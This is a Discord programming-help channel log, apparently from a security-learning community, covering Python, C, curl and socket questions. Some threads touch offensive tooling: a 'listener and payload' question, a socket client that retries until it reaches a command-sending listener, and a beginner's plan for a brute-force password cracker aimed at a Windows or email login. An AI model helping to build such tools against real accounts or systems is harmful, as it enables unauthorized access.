#programming
1 messages · Page 36 of 1
thanks, I don't really so much about the audio I am mostly interested in the video.
Luckily that's probably the easier part
hey guys, does anyone know how to fix this error that am getting when I try to use nodejs/npm (on arch linux)
node: error while loading shared libraries: libicui18n.so.71: cannot open shared object file: No such file or directory
nope I didn't I'll try to do that now and i'll inform you if it works, thx btw
wow it worked tysm
What is the syntax to ping 10.10.10.10?
ping 10.10.10.10
hi guys, i hope all doing great. I need an off-line library which function like a basic search engine. Can be updated manually or better automatically syncronized with defined web site, sites. Which language should i work on for this project??
You need to define your requirements better. You are expecting an off-line library to search websites?
I am trying to create my own law archive. By saying update from websites, i meant to up to date legislations etc.
Please keep room related help questions in the appropriate channels
You want to create everything from 0? A native app or a web app?
In the scenario you don't want to reinvent the wheel: Very likely there are open source wiki/search engine solutions out there that you could deploy then create scripts (python comes to mind as the ideal solution for this) to carry out the ETL process and populate a DB with the info you want.
What if i want to invent a square shaped wheel
What it takes from me, is it worth it
you can go ahead and do it! But please, don't expose whatever you create to internet 
(In the literal sense of course. Really. Not a good idea to expose the app to 0.0.0.0/0)
I will use it just for personal perposes
Would i do it from zero with python?
This is actually fine so long as the device is behind the firewall and doesn't expose to public facing.
The only way to know if a product is worth anything is to actually make it. You don't know if the wheel is square until you finish a design and implement it.
Take into account it might take you a looong time to create something like you want. You can do it 100% with python.
True, maybe it will be a box
Can i also add it AI
How people implement AI with coding
Machine learning might be the term i was looking for😄
You could you could. When it comes to the "search" part of your app, that's where AI would fit.
You're far better off implementing something made by someone else with a library because doing that from scratch....you need to understand some specific math topics...adding more time to the equation.
ML doesn't really do search. You could use ML to classify a bunch of the input data, but search is a different branch of AI.
(And tbf...I don't think you are going to finish the project if you are doing it alone)
I gotta brush up on that hierarchy...always forget that fact 🥲
Thank you for your guidance, may the force be with you
Something like this if Im not wrong
any tips on how to make python wait for netcat to connect? I need it to wait for a prompt, input some data, read the output and close the connection. I've tried pexpect but it doesn't seem to work
Why are you wrapping netcat? Do socket IO and then it's all in python.
ny instructions include netcat command to connect, but I guess you're right, I can convert it
i hope somebody can help me here:
i have got a ciphertext and parts of the key.
I want to xor a part of the ciphertext with the key, then shift the position xor again. and at each step i wanna see if it is decodable to ascii, and print it.
i am using python and so far i am fighting with ValueErrors 😄
So basically i want to find the position, where i can start xor the key with the whole ciphertext. The key is also much much longer than the ciphertext. I hope it makes sense
DM me your current code please @queen salmon
I want any man work on assembly?
hi, cannot send you a message
hey guys while i was coding in python i came across to a weird thing. Whenever i store input in variables, without even using the print() they get executed
Its great men thank you. Yes, i just do it in app future
Gave +1 Rep to @queen jolt
Ahhh dude, you are using input so it will ask for a prompt, using input will ask prompt even if you dont use print.
yeah but it is in a variable
No it's not? What's "it"?
Dude it will not print the value of input, it will only show the sentence that you mentioned and that it "do you want... "
all those inputs
Do once with print and without print, hopefully it will clear your doubts
They are stored to inputs. But input() takes a string parameter which is a prompt to print.
now i am using pycharm
on vscode it does weird things
but it is more likely that i am wrong
See you are running and writing different script
هل هنا أحد يتحدث اللغة العربية؟
This server is english only, please.
فقط وجدت الجميع يتحدث الانجليزية فأحببت التحدث بالعربية. أحاول أنا اجمع الاصدقاء
سعيداً بك وأستطيع مساعدتك في تعلم اللغة العربية
Ahh yeah. Not sure how many arabic speakers are here. But the public channels are English only. So probably best to stick with it 🙂
I don’t know when I’ll have the time to devote a lot of time to it, but thank you 🙂 💜
Gave +1 Rep to @surreal lotus
iam speak arabic and English and Chinese
wow, Chinese too. That’s tough as well. mad respect.
I gotta go afk, but it was nice meeting you. Welcome to THM 🙂
thank you. I don't think I'm the best but I strive for it...
Gave +1 Rep to @rich rose
This server is english only, by the rules. Part of that is because we have a LOT of users, and allowing other languages it much more difficult to moderate. Do not use any language other than English here, please.
Look at line 13
i see, thanks
Gave +1 Rep to @tropic minnow
guys! i used the Grep command incorrectly lol how do i put it back?
what do you mean by that? Did you remove the binary by accident?
you may need to be a bit more specific here
I cannot upload photos on here, sadly. The option isnt there for me
You have to verify for that.
!docs verify
!notifyme
Ok @lusty marten, you will now be notified of future announcements.
PK... seems like a zip file lol
spam n
Anyone good with mips programming?
Hello everyone !
I would like to reverse engineering a java app, Do you have some software recommandation to do ?
I found javasnoop but it seems old
Looking to learn another language. I know python but there is multiple languages that are useful in this field. But what would be one I should learn that would be useful overall?
jd should be able to help
if i have a listener and a payload in python using socket and ssl should i pack the ssl certificate into a variable to use it when its executed on a machine or should the client request the certificate and if the second how does the server detect that the client doesnt wants to further communicate and only get the certificate to connect with it again? should the server just try to send a test message and if a exception is raised it will understand that the client disconnected?
Hey !
I used ghidra 😉
really nice app but a bit complicated at the beginning
Didn't know it did java
thanks! i found a better method though, os.execlp works perfectly!
Good afternoon y'all, I'm pretty new to programming and I'd like to know where I should start. Any tips?
depends a bit on how you like to learn things.... there are lots of websites to learn programming from... for example codewars and freecodecamp and codeacademy or the less hands on projecteuler
or you could check videos on youtube to learn
thank you sm!
no problem
the pins in this channel might help too... or some of the pinned messages in #resources
@HyperX#8865 any reson your not using google custom search engine? https://cse.google.com an example of one i made for searching cve databases/vulndb/exploitdb https://cse.google.com/cse?cx=3c57a8a175c6d0bcc
just instead of vuln + cve load it with law databases (if they are indexable if not scrape the links into a md file, git hub it and ad your git to the custom search engine
good evening peeps, I was wondering where I could execute a series of code (javascript to be exact) and idk how, pls help
thank you very much!
!notifyme
Ok @hearty apex, you will now be notified of future announcements.
whats the problem?
Mixed reality
Can i get help with a Password match and validation assignment? i’m a junior high school student and just need a little guidance
Ask your teacher
That's what they're there for
Hey guys, do u know a good site / tuto for learning to code ?
Freecodecamp, codeacademy, sololearn, YouTube
check the pinned messages of this channel
Oh yes ! thanks guys
What's up?
You should ask your teacher first. Your teacher may be trying to give you a specific approach that will be a foundation for future lessons; asking us for help may actually end up being more work. Our answers may send you down a different path than what your teacher wants.
like stated, i already did to no avail. i figured out a way to do it finally even though the code looks messy.
hi guys. When I create a new list by appending it to the empty list with a for loop at the top of the code, when I call the new list at the bottom of the code, it only calls the last element. How can I call all elements? pls help me
!notifyme
Ok @lilac holly, you will now be notified of future announcements.
In which language did you made?can you share the code?
python
Share your code
for token in input_program_tokens:
if (re.findall(RE_Keywords, token)):
print(token, "-------> Keyword")
try:
if sys.argv[sayi % 2 == 1]: # Sadece tek indisleri keyword olarak alır.
pass
if (len(token) > 1):
print(f"Lütfen keywordden sonra boşluk bırakınız. Hatalı olan kısım -> {token} ")
sys.exit(1)
keywords = [] # THIS
for i in token:
keywords.append(i)
except IndexError:
print(f"Söz dizimi hatası -> {token}")
sys.exit(1)
if I have a list 3 numbers in python and a function which takes 3 numbers as parameters, can I do something similar to function_call(nums[:]) instead of passing them inside one by one?
nvm got it
Just pass the list and unpack the values?
.
After defining a function in an if in python, can I call the function inside another if?
You may wish to read about variable scope.
You can also try it by making a very simple example.
Why not just make the function global?
But yes you can
hello guys
can anyone enlighten me regarding the curl command?
I found this command on the net.
curl -X POST <IP> -d 'method=GET&file=abc'
It is a HTTP post request. I wonder what method=GET does here. After all, with -d you append more data to your request. But I thought this is a POST request. Why does it say GET?
-d will add stuff in the body of the request. Perhaps the service uses that parameter?
It is a post request
if you are unsure of how your curl command is actually rendered, you can set the curl proxy flag and argument to use burp to intercept it
there's just a parameter called method that's set to GET
yeah, there is a <form> with the method=get
kk thanks
method in the header is different
Like in the form element
If it says method="GET" then it's a get request.
It's not sent as part of the form data
so the http request is POST, and the formular method ist GET. am i understanding this correctly?
No, not at all
hmm
That CURL command just adds a form parameter called method
It's unrelated to the HTTP method in use
Just intercept your curl command in burp. What James' is telling you will become immediately apparent and visible.
I have not yet had a BURP. That will come in one of the next modules.
ok http-get has nothing to do with form method-get.
No
That's not what I'm saying
Do you understand how form data is sent?
Specifically url encoded form data?
ok, sorry i'm a bit stumped 😄
no
There's your problem then
-d 'method=GET&file=abc' could be changed to -d 'method=BUTTSlol&file=abc'
It's just a parameter sent as part of the form data
querystrings right?
URL encoded form data is basically the same as query strings, but it depends where it goes in the request
the server recognizes the parameter 'method' and then reads the value 'GET'.
Yeah, because it's understanding the form data
It's not related at all to the HTTP method
I think I'm beginning to understand.
if there were no formular, HTTP Post would not make sense in this case, correct? And the parameter 'method' would not be recognized either (unless the server was implemented to recognize this parameter).
You can make a HTTP post request without form data.
I can let the server recognize any parameter, e.g. 'foo'. Just have to implement it.
PHP
include($__GET['foo']) or something like that
yes, sure, depends on what the server does when it gets a POST.
I'm still relatively new to this. But thanks for the help. That brings me a lot!
Hello, i am very new to coding and have only taken a few rudimentary classes, and most of what i know (which is not a lot) has been self taught. I am trying to code a brute force password cracker and i am fairly certain i can do it, i just need to find out how to make the program run right when the computer is turned on. I am not planing on using this code maliciously i just want to see if i can do it.
which language are you using?
I am using Python.
Sorry i am unfamiliar with pw
my home computers
login credentials of windows/linux? Password protected folders?
login of windows
i just want to get the password i’m putting in the email
or Chrome if that is easier
I think at the very beginning you can build a general bruteforce tool without a concrete target. A permutation from all given characters + the possibility to specify word lists.
then if you want to test it against a target, you can create password-protected ZIP folders and apply your tool.
how would i add a target i think i know how to make it without a target but how would i apply one?
well the code for that in python is not that hard and i already picture it in my head
but thanks i will come back when i write the beginning of the code
Attacking an email service would be illegal, even if it's your account
Anyone good with x86 assembly language?
Oh well alright
I did not know that yet. How true 😄
Here I was naively believing it was a link to a resource on the subject. It was a resource to A subject just not the one I assumed it was. Lol
Hello, is there anyone here familiar with msys2?
What?
Don't ask if anyone is familiar with tech xyz, ask the actual question you want to know the answer to and ask it directly
Alright, I wasn't sure if this was the right place so didnt want to post to full question. But in the mean time I figured out another way that does work.
I was using mingw-w64-x86_64-arm-none-eabi-gdb before but that one seems to close immediately and gave me problems debugging the target. I'm not sure if this is an old package? The mingw-w64-x86_64-gdb-multiarch does seem to work.
Might need a bit more context there
for o, a in opts:
#someone please explain me this for loop its in python?
Specially that o,a means?
o, a are the variables used to store values from list, tuples, or group of values
First understand loop, loop can be used to iterate over a list of items and perform a set of actions on each item
It all depends what opts is in that situation
For example:
for k,v in dict:
This is used a lot, k stands for key and v stands for value.
Dictionaries (dict) uses key, value pairs to store the data.
Look at it this way:
dict = {“key”: “value”}
If you were to loop over it as
for data in dictionary:
It would return the data pair of key:value
But, we use dictionaries to store data so that we can match a value to a key so sometimes we want those values separately to manipulate or for comparison.
We would do it like this:
car_wheels = {“wheels”: 4}
for key, value in car_wheels:
if value == 4:
print(“this car has four wheels!”)
Great example man thnks a lot
You’re very much welcome!
I do, yes
So what you do can u share your experience?
I’m simply customer/ technical support:)
Well, I was hired through building my reputation from helping in the community (and an interview of course), but you can check out our jobs on our LinkedIn page:)
Ok can u share that page link please
Mm aaaa what does that mean script?
Thnks sir@true pumice
Can someone please tell me how can I create a new .zshrc file I deleted it accidentally😅
Or share ther .zshrc file
does anyone have work visual studio on this error : freeglut (C:\Users{username}\source\repos\dda-aglo\Release\dda-aglo.exe): ERROR: No display callback registered for window 1
you can start with touch ~/.zshrc 😉
I'm a competitive programmer. Software development isn't my goal.
I've solved only 400 problems at codeforces.com and know around 100 algorithms only. I have CCNA preparation.
I need to know in which field I can implement my programming and networking knowledge together.
What can I do in ethical hacking if I acquire advanced knowledge in programming?
@brazen eagle and what about tge inside contents?
I mean what did you have in there before?
most of mine was generated by oh-my-zsh tbh
struct name_1
{
member1;
member2;
.
.
membern;
struct name_2
{
member_1;
member_2;
.
.
member_n;
}, var1
} var2;
Do anyone of you know, what is the benifit of using a nested structure in c a program, i can really think of any benfit... You can just define the whole thing in a single structure why would you nest it?
@vast parcel I'm using a parrotOS and it's in dual boot
Does it now?
Separation of concerns
If you had a point on a line for example, would you want to mix the point coordinates with the line parameters?
hello guys Is there anybody who knows Java. I have a final exam and need help
Helping you with your exam would be cheating
Good luck with your exam
Hi. I'm trying to build a chat using Python, I'm trying to have one thread for sending messages and one thread for receiving messages but messages dont seem to go through
from socket import *
import threading
server = socket(AF_INET, SOCK_STREAM)
server.bind(("", 4444))
server.listen(5)
def acceptmessages():
while True:
data = client.recv(2048).decode()
print(data)
def sendmessages():
while True:
msg = input("Enter message > ").encode()
client.sendall(msg)
client, addr = server.accept()
print("New connection from Address: {0}".format(addr))
threading.Thread(target=sendmessages(), args=())
threading.Thread(target=acceptmessages(),args=())
from socket import *
import threading
client = socket(AF_INET, SOCK_STREAM)
client.connect(("10.0.0.5", 4444))
def acceptmessages():
while True:
data = client.recv(2048).decode()
print(data)
def sendmessages():
while True:
msg = input("Enter message > ").encode()
client.sendall(msg)
threading.Thread(target=sendmessages(), args=())
threading.Thread(target=acceptmessages(),args=())
This isn’t 100% your code is it?
I wrote it from scratch actually
Had a small error where I had to Google and I saw I wrote server.connect() instead of server.accept()
I wrote this code after a lesson about sockets and threads
nobody? 
@flint sedge your problem is that you're calling the functions when you should be passing just the function as the thread target:
threading.Thread(target=sendmessages(), args=()) # this first calls sendmessages() and waits for it to return a value which will then be passed into Thread
threading.Thread(target=sendmessages, args=()) # this passes sendmessages itself as a target so the thread can run that function separately
threading.Thread(target=sendmessages) # args=() is redundant as by default it doesn't pass any arguments anyway
another problem is you're just instantiating the threads but not starting them: ```py
threading.Thread(target=sendmessages) # This just creates a thread instance, but it's not actually running
t = threading.Thread(target=sendmessages)
t.start() # This starts the thread
Oh I actually tried moving the functions without the parenthesis but it also didnt work since I start the threads
it works, thanks!
Although, how come it prompted me to enter a message despite not starting that thread?
Because you called the function
So instead of using the function itself, it was calling the function and using the return value as the target for the thread
Oh, so I called the function from inside the thread argument, making the program stuck in an infinite loop of sendmessage's while loop, on the main thread.
Got it, Thanks!
Hello, All
Hello. All I have a quick question. I am building my resume web page and I putting LinkedIn on my page. Every time I click on it it takes me to my own home page. I have signed out of everything and is still doing it. It is problem something simple. Any suggestions.
Did you try a different browser or an incognito window
Yes, I have tried a different browser but I have not try incognito window. Let me try that.
Well, I just tried it myself with my profile URL and when I try on a different browser I just get the LinkedIn login page telling me I have to be logged in to see that
Ya I tried the incognito and that worked. I had forgot to check my other browser and I did not sign out. I use Firefox and Edge it worked. Thanks for your help.
I need to remember to sleep because missing little stuff like that is embarrassing. Thanks again.
Hello, this is what i programmed https://www.thisworldthesedays.com/my-programming-2022.html
Hmm.. interesting code... almost like it's a rickroll..
hahahahahahahahahahah
Can you copy and paste the code here in code blocks, please?
Ya
from time import sleep
PORT = 7778
HOST = 'localhost'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
data = str()
def do_connection_attempt():
global s
try:
s.connect((HOST, PORT))
s.send(b'CONNECTION ESTABLISHED')
print('conected')
return True
except ConnectionRefusedError:
print('CON refused')
s.close()
return False
while True:
try:
s.connect((HOST, PORT))
s.send(b'CONNECTION ESTABLISHED')
print('conected')
break
except ConnectionRefusedError:
print('CON refused')
s.close()
while True:
data = s.recv(1024).decode('UTF_8')
arg_to_check = data
s.send(b"recived [ ok ]")````
no
Are you on Windows or Linux?
macos
Oh that's fine
Open your terminal and type python -m http.server 7778 and re-run the code
I think I know your issue
You close the connection a lot of times throughout, I'm pretty sure that it's related to you closing the connection, but then another part of the code is being hit, which is subsequently failing because the connection is closed
look, if my server script is runing every thing is ok, but i want this script to try to conect then to retry
Give me a moment to clean up your code to see if it is the problem:)
like if host is down i want this script to keep going atempting to cennect
@safe wind So, after taking a look, your code seems to have a lot of lines that aren't needed.
But, it does seem to be related to you closing the connection too early.
Instead of closing your connection as soon as it's refused, simply loop back around and try again.
Furthermore, you have two while True: statements, but only one of them is being executed because you cannot concurrently execute while statements (meaning one has to finish before the other one can start).
if i do this
from time import sleep
PORT = 7733
HOST = 'localhost'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((HOST, PORT))
s.send(b'hello')
break
except socket.error:
pass
sleep(1)
while True:
data = s.recv(1024).decode('utf-8')
print(data)
s.send(b'[ OK ]')````
It still doesn’t seem to work
Is there an error?
No, but it’s not connecting to server script
HOST = ''
PORT = 7733
s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
try:
s.bind((HOST, PORT))
print('[ lisening ]')
s.listen(10)
conn, addr = s.accept()
print(f'{addr} was cached!')
data = conn.recv(1024).decode('UTF-8')
while True:
command = input('send>')
conn.send(bytes(command, 'UTF-8'))
data = conn.recv(1024).decode('UTF-8')
print(data)
except KeyboardInterrupt:
print("...listener terminated using [ctrl+c], Shutting down!")
exit() # Using [ctrl+c] will terminate the listener.
conn.close() # Close socket.````
You haven't specified a host there?
its ok , now it works
could use some help with python if anyone is willing to assist 😄
If you have a question, it's best to just ask it
does anybody know C
@true pumice #include <stdio.h>
#include <cs50.h>
int main(void)
{
int n = get_int("How many scores? ");
int scores[n];
for (int i = 0; i < n; i++)
{
scores[i] = get_int("Score: ");
}
double average = (scores[0] + scores[1] + scores[2]) / 3.0;
printf("Average: %f\n", average);
}
i was just wondering how to finish this in this line double average = (scores[0] + scores[1] + scores[2]) / 3.0;
Not sure I understand what you mean 😅
double average = (scores[i]) / n; i tried this and it dont work so i was just asking is there a way to add arrays together without doing it like this
scores[0] + scores[1] + scores[2]
I'm try to get a PID from an Process Name on aWindows device but I keep getting 0 :/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>
DWORD find_process(char* process_name) {
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
for (Process32First(snapshot, &pe); Process32Next(snapshot, &pe);) {
if (strcmp(pe.szExeFile, process_name) == 0) {
CloseHandle(snapshot);
return pe.th32ProcessID;
}
}
CloseHandle(snapshot);
return 0;
}
int _tmain(int argc, _TCHAR* argv[]) {
DWORD target_process_id = find_process("mspaint.exe");
printf("target process id is %d\n", target_process_id);
return 0;
}
please answer it only in C
To get this straight, you're trying to find the average of scores?
yes
but prompting the user on how many scores and storing it into an array
#include <stdio.h>
int main() {
int n, i;
float num[100], sum = 0.0, average;
printf("How many scores? ");
scanf("%d", &n);
for (i = 0; i < n; ++i) {
printf("%d. Enter number: ", i + 1);
scanf("%f", &num[i]);
sum += num[i];
}
average = sum / n;
printf("Average = %.2f", average);
return 0;
}
Something like that?
and then adding them together and dividing by how many scores they input
yes like that but like this #include <stdio.h>
#include <cs50.h>
int main(void)
{
int n = get_int("How many scores? ");
int scores[n];
for (int i = 0; i < n; i++)
{
scores[i] = get_int("Score: ");
}
double average = ????????? / n;
printf("Average: %f\n", average);
}
in the question marks is the issue
Do you need it in an array?
for example if they input 4 scores how would you add the arrays together
Convert it to a float first
A for loop
It's the same way you'd do it in Python etc too
But, can I ask, do you need to do it in an array?
Are you going to use it for something else?
Should definitely be an array rather than like "score1=10"
Just seems really weird to me to save the scores to an array to then find the average
But maybe that's just how I'm hardcoded to write code
because he said for example you dont want to make 100 variables for score1 score2 ..
Yeah that's a good thought, certainly if you only want the mean.
Just add them all to a cumulative total and increment a country to see how many numbers you've got.
If you wanted the median or mode, you'd need them in arrays
#include <stdio.h>
#include <cs50.h>
int main(void)
{
int scores[3];
scores[0] = get_int("Score 1: ");
scores[1] = get_int("Score 2: ");
scores[2] = get_int("Score 3: ");
double average = (scores[0] + scores[1] + scores[2]) / 3.0;
printf("Average: %f\n", average);
}
im trying to do it like this but it isnt working
#include <stdio.h>
#include <cs50.h>
int main(void)
{
int n = get_int("How many scores? ");
int scores[n];
for (int i = 0; i < n; i++)
{
scores[i] = get_int("Score: ");
}
double average = (scores[i]) / n;
printf("Average: %f\n", average);
}
There's a principle called DRY - Don't repeat yourself.
The way you're assigning the scores is nasty and repetitive
That is slightly better.
What's not working?
double average = (scores[i]) / n; <---------- this line isnt working
"not working" is incredibly vague and doesn't help us
im trying to replace this double average = (scores[0] + scores[1] + scores[2]) / 3.0;
Tell us what's happening, why you think it's not working, what do you expect and how is it differing from that expectation
Are you getting an error? A wrong number?
You're getting an item from the array there
arrays.c:15:30: error: use of undeclared identifier 'i'
double average = (scores[i]) / n;
^
1 error generated.
You need to total up all the items in the array, them divide
Do you understand variable scope?
no i dont think so
Then you have a problem
You can't access your counter variable, i, outside your for loop.
Even if you could, you'd just get the last value in the list which would give you a wildly incorrect value.
oh yes i understand that
a for loop has the variable stored inside the curly braces so you cant use it again later
sorry i mean a for loop
but what i was asking is how can you add the arrays together with a loop
Have you learnt about problem decomposition yet? Breaking a problem down into smaller parts?
You don't want to add multiple arrays together because you don't have multiple arrays.
You just want to loop through the array and add values to a total.
You can very easily either work out how to do that, or google it.
okay thanks, yeah thats what i want is to add the values of the arrays together with a loop not by typing them 1 by 1
Gave +1 Rep to @onyx merlin
You can google that.
"Loop through an array C" will give you the answer.
Programming and hacking both absolutely require research and reading skills.
yeah okay thanks i just didnt know exactly what to search for sometimes so its faster to just ask someone
Honestly, you don't really need to any research on C to do this task. The parts of the C language you'd need are all very introductory; if you want a better solution, or if your solution isn't working, you aren't thinking deeply enough about the problem you are solving. Work out your approach on paper first; that way, you are only solving 1 thing at a time.
Don't do that.
Make a best guess google search and refine it.
You're doing the absolute basics here, they're easy to find online
Especially when learning a new programming language, minimizing the mental burden of 'solve problem' and 'do it in this language' is important. You are learning a language; solve the problem first, then figure out how to represent your solution in code.
Learning to break down problems into smaller parts is a really really good skill that will help you in many places in life
okay thanks for the tips and advice
#include <stdio.h>
#include <cs50.h>
int main(void)
{
int n = get_int("How many scores? ");
int scores[n], sum = 0;
for (int i = 0; i < n; i++)
{
scores[i] = get_int("Score: ");
sum = sum + scores[i];
}
double average = sum / n;
printf("Average: %.2f\n", average);
}
figured it out thanks
just had to make a new variable and add the arrays to it inside the loop simple as that
Terminology is very important here.
You're not adding the arrays to it.
You're adding the elements to the total. An array consists of elements. The array is the collection
Python
hey plz teach me how to write java
do you need python
is GOLANG good for a pentester
It's a nice language, easy enough to write stuff in
just starting out in python myself.. working on a project but im a bit stuck
having trouble getting it to print the year and letting the user know the month they get if a certain condition is met
Definitely! I'm a 2nd year computer science student and using a paper and pen to plan your approach is by far one of the best tools/abilities to use. Also amazing how many students don't seem to know that paper and pens still exist lol
hi i came here for the sake of triggering you 🙂
XML IS A BETTER PROGRAMMING LANGUAGE THAN HTML
AND PERL IS THE FUTURE
json obviously best programming language /joke
Json is not a programming language. It stands for JavaScript Object Notation. It is used for data interchange.
yuup shadow knows this.... hence the joke part..... it is basicly just as accurate as the above statement that xml and html are programming languages
joke goes whoosh
same program but different outputs ; the z shell doesn't want to give any output after registrant info while the terminal in pycharm working well
the code :
class Joke {
public static void main(String[] args) {
System.out.println("IT WAS JUST A JOKE BRAH!");
}
}
just library import its in python
But which one? 😄
Or are you using the Python whois library?
import pythonwhois
whois = pythonwhois.get_whois(domain)
for key in whois.keys():
print "%s : %s \n" %(key, whois[key])
nah just import whois
Yeah, that's the Python3 version
hmm ok
There's a few reasons as to why
but i still didn't get how the z shell now showing the registrant info but the shell in pycharm is
How are you executing the script in your shell?
python3 file.py --domain facebook.com
One moment I'm reading the python3 documentation
Hmm its weird does python3 version affects the library ?? cuz that's making the program to give different outputs
Check out https://peps.python.org/pep-0498/
Python Enhancement Proposals (PEPs)
Much faster and cooler than .format
Hmmm ok 
how do i code brain fuck?
Brainfuck is a minimal esoteric programming language. It provides a 30K 8-bit array that can be modified with 8 different characters.
#programming #compsci #100SecondsOfCode
🔗 Resources
Brainfuck History https://www.muppetlabs.com/~breadbox/bf/
Brainfuck Basics https://gist.github.com/roachhd/dce54bec8ba55fb17d3a
Brainfuck Interpreter https:...
who thank
so i have a blood clot in my uper front cortez and die
That's not really related to programming
i know i really have know idea why is said that sorry, i just wana learn lot and lots of different ways to code
First steps of my red team tradecraft training tool are done 
r1 = [" ", " ", " "]
r2 = [" ", " ", " "]
r3 = [" ", " ", " "]
def clearConsole():
os.system('cls' if os.name == 'nt' else 'clear')
def inputMove(player):
while "no choice set":
x = int(input(f"\n({player}) 1-9: ")) - 1
if x <= 2:
if r1[x] == " ":
r1[x] = player
break
print("\nSelect valid position.")
elif x <= 5:
if r2[x-3] == " ":
r2[x-3] = player
break
print("Select valid position.")
elif x <= 8:
if r3[x-6] == " ":
r3[x-6] = player
break
print("Select valid position.")
else:
print("Position has to be less then 10.")
def printBoard():
clearConsole()
print("\n -------")
for r in (r1, r2, r3):
print(f" |{r[0]}|{r[1]}|{r[2]}|")
print(" -------")
def checkBoardRow():
for r in (r1, r2, r3):
if all(x == r[0] for x in r) and r[0] != " ":
printBoard()
print(f"{r[0]} won!")
exit()
def checkBoardCol():
at = 0
for i in range(1, 3):
if r1[at] == r2[at] == r3[at] == r1[at] != " ":
printBoard()
print(f"{r1[at]} won!")
exit()
at += 1
def checkBoardDiag():
if r1[0] == r2[1] == r3[2] and r1[0] != " ":
print(f"{r1[0]} won!")
exit()
if r1[2] == r2[1] == r3[0] and r1[2] != " ":
printBoard()
print(f"{r1[2]} won!")
exit()
def checkBoard():
checkBoardRow()
checkBoardCol()
checkBoardDiag()
def play():
while True:
printBoard()
inputMove("X")
printBoard()
checkBoard()
inputMove("O")
checkBoard()
if __name__ == '__main__':
play()```
My first ever tic tac toe game in python lol
Any tips to managing git and github related tasks between multiple accounts i.e. separating personal stuff from work stuff?
GitKraken. The account management is the single biggest reason I pay for it.
will look into it o7
Also look into using at ticketing/issue tracking system to keep track of the work. Tie-ins to JIRA, Trello, Bugzilla are really common.
This is cool! But can I give you a little criticism?
Don't use Camel case on function names.
Camel case is where the first character of a word is lowercase and every word after it has a capital letter at the beginning; likeThisForExample
The only reason is for readability. If both functions and variables follow the same name, it will become a little harder to read. Especially when you delve into classes or embedding functions into lists:
def ExampleFunction():
return "Hello World"
exampleList = [ExampleFunction]
exampleList[0]() # Should print "Hello World" in the shell
If you were to use camel case on everything, especially in large files, it would be hard to tell the difference when using high-level programming techniques:
def exampleFunction(name):
return "Hello, " + name
exampleVariable = "Jacob"
exampleList = [exampleVariable, exampleFunction]
exampleList[0] # This should run without a problem
exampleList[1] # This will display "<function function_name at stack>" instead of the desired value
exampleList[1]("Jeremy") # This will run as expected
Although this is a poor example, I hope you understand why I'm suggesting it.
If you were to look at that list with normal variable names, it would be slightly confusing as most people would not expect there to be an executable function in the list.
Python Enhancement Proposals (PEPs)
Thank you! I'm new, so criticism is always helpful. I agree with you that it could make it harder to read, so I'll change that.
Gave +1 Rep to @true pumice
I'll look in to that. Thank you too
Also look into using a linter
It will look for things like this and complain at you
Oh ok. Thats cool. Will try that too
Jabba's advice is good, but also stay aware that other languages have different standards for what is considered 'best practices' with respect to naming conventions, module organization, and codebase organization.
Some languages have historical reasons for the design decisions that don't necessarily apply any more, but some of the systems those languages are expected to interface with do have the legacy requirements still in place.
Eh, yeah, as they were coding in Python I was only referring to Python, didn't think about the others.. whoops 😆
I got you 🙂 Intent was to clarify beyond python, especially since new programmers tend to make assumptions about similarity that aren't true
Yeah, my brain is hard-coded for Python haha
Python is a super productive language to use; it's usually what I start any given project in until requirements evolve to a point where python isn't feasible anymore
IE, high amounts of compute, SIMD, or MIMD program architecture
I was thinking of that. Right now I'm only writing python, but its great that you mentioned that since I'm not very good with styling in programming in general
While I haven't used any other programming languages a lot, other than python, I also would say it's really productive to use. It's very easy to understand and simple to write.
I saw someone that said python was a bad language because it was "to easy" which I really don't get lmao
Python can be to easy, because there is a lot of things you are allowed to do in python that will make your programs non functional if you touch lower level languages
In that case yes, but in the sense that its to easy to write or that it has a to easy syntax I don't think is valid in the context he was using, because good/"easy" syntax is positive if you're purely talking about how the language is written and not its features
I've heard that Rust has an easy to understand syntax yet it offers low level controls (could be wrong tho)
for row in allRows:
if all(tile == row[0] for tile in row) and row[0] != " ": <--------- This line gives me a RecursionError
print_board()
print(f"{row[0]} won!")
exit()```
this causes a recursion error, and i dont know why
row2 = [" ", " ", " "]
row3 = [" ", " ", " "]
allRows = [row1, row2, row3]
all() just returns True if all items are True. It goes through each tile (item) in each row to see if its the same as all the others
print what the output of tile == row[0] for tile in row is because if it isn't returning a list it won't be able to work with the all function
At least that's my guess as to why it isn't working
@spare swan
when in doubt, print it out
Thanks, I forgot I could print it out lmao. I'll try that
lmk if it is just because it isn't returning a list because then I know if my guess was correct 🙂
Row: [' ', ' ', ' ']
Row: ['X', ' ', ' ']
X
Row: [' ', ' ', ' ']
Row: [' ', ' ', ' ']
Row: ['X', ' ', ' ']
X
Row: [' ', ' ', ' ']
Row: [' ', ' ', ' ']
Row: ['X', ' ', ' ']
X
Row: [' ', ' ', ' ']
Row: [' ', ' ', ' ']
Row: ['X', ' ', ' ']
X
Row: [' ', ' ', ' ']
Row: [' ', ' ', ' ']
Row: ['X', ' ', ' ']
X
Row: [' ', ' ', ' ']
Row: [' ', ' ', ' ']```
well now i know why it was spewing out a recursion error
I told it to print out each row in the for loop and each tile in the other for loop
print("Row: " + str(row))
for tile in row:
tile == row[0]
print(tile)```
i had to change up the code and remove the all() to be able to print out
ahh
why is it giving me recursion when im only printing out each row in allRows
its the same if i do for row in (row1, row2, row3): print(row)
it just keeps spamming
oh im such a dumbass. I was renaming the function names earlier and somehow renamed a function that was called in check_board(): to to check_board(): so it was recursive
So im trying to use the "argparse" library and im stuck on getting the value from the argument. I am taking in a pcap from the user but i am stuck on trying to pass the file to a function. Any tips? Also, I this is what the arguments look like:
parser = argparse.ArgumentParser()
parser.add_argument('-p', '--pcap', help='pcap file to read from', required=True, type=argparse.FileType('r'))
parser.add_argument('-o', '--output-file', help='output file to store TGS [DEFAULT IS <TGSoutput.txt>]', required=False, default='TGSoutput.txt', type=argparse.FileType('w'))
``` Then i have ```options = parser.parse_args()``` in my main function
How do I check that my linux disk file .image (ext4/btrfs/etc..) are created successfully or read information whether its corrupted or not like this. Any suggestions how to verify image file that created using DD command are perfect or not?
